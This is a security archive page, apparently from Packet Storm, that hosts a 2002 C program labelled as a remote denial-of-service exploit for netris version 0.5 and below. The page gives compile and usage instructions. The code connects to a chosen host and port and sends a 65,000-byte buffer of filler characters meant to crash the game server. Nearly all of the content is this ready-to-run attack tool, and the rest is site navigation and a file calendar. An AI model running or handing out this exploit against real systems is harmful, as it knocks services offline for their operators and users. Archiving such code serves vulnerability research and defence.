what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP-netris_DoS.c

HP-netris_DoS.c
Posted Oct 22, 2002
Authored by Artur Byszko

HP Netris v0.5 and below remote denial of service exploit.

tags | remote, denial of service
SHA-256 | 1511466d20ead8a76a69420ed7ccb8dcb916dcf1d94877d562d9820209800c33

HP-netris_DoS.c

Change Mirror Download
/* 
* HP-netris_DoS.c - Remote netris <= 0.5 DoS.
*
* Artur Byszko / bajkero <bajkero@security.hack.pl>
* #hackpl@efnet || #blackhat@ircnet
*
* % gcc -Wall -ansi -pedantic -o HP-netris_DoS HP-netris_DoS.c
* % ./HP-netris_DoS host [port]
*
* Greets: ducer, ^sysq, #darknet@efnet.
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>

#define PORT 9284

void usage(char *a);


int main(int argc, char *argv[])
{
int gniazdo;
char buff[65000];
struct sockaddr_in sin;
struct hostent *host;

fprintf(stdout, " * Remote netris <= 0.5 DoS\n");
fprintf(stdout, " * Artur Byszko / bajkero * #hackpl@efnet \n");
if(argc < 2) usage(argv[0]);

host = gethostbyname(argv[1]);
if(!host) {
herror("gethostbyname()");
exit(EXIT_FAILURE);
}

gniazdo = socket(AF_INET, SOCK_STREAM, 0);
if(!gniazdo)
{
perror("socket()");
exit(EXIT_FAILURE);
}
bzero(&sin, sizeof(sin));
bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
sin.sin_family = AF_INET;
if(argv[2]) {
sin.sin_port = htons(atoi(argv[2]));
}
else {
sin.sin_port = htons(PORT);
}
if((connect(gniazdo, (struct sockaddr *)&sin, sizeof(sin))) < 0)
{
perror("connect()");
exit(EXIT_FAILURE);
}
memset(buff, 'a', sizeof(buff));
printf("-> Sending buff.. \n");
write(gniazdo, buff, sizeof(buff));
close(gniazdo);
printf("-> Done..\n");
return(0);
}

void usage(char *a)
{
printf("Usage: %s host [port]\n", a);
exit(EXIT_FAILURE);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close